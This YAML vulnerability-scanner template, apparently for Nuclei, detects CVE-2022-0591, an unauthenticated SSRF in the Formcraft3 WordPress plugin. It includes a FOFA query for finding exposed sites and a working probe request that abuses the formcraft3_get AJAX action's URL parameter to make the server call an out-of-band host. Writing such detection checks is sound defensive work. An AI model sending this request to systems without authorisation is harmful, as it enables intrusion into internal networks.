Formcraft3 <3.8.28 - Server-Side Request Forgery

id: CVE-2022-0591

info:
  name: Formcraft3 <3.8.28 - Server-Side Request Forgery
  author: Akincibor,j4vaovo
  severity: critical
  description: |
    Formcraft3 before version 3.8.2  does not validate the URL parameter in the formcraft3_get AJAX action, leading to server-side request forgery issues exploitable by unauthenticated users.
  impact: |
    An attacker can send crafted requests to the server, potentially leading to unauthorized access to internal resources or network scanning.
  remediation: |
    Upgrade to Formcraft3 version 3.8.28 or later to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b5303e63-d640-4178-9237-d0f524b13d47
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-0591
    cwe-id: CWE-918
    epss-score: 0.20774
    epss-percentile: 0.97222
    cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: subtlewebinc
    product: formcraft3
    framework: wordpress
    fofa-query: "body=\"formcraft3\" && body=\"wp-\""
  tags: cve,cve2022,wp,wp-plugin,wordpress,formcraft3,wpscan,ssrf,unauth,subtlewebinc,vkev,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/formcraft3/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: WordPress"
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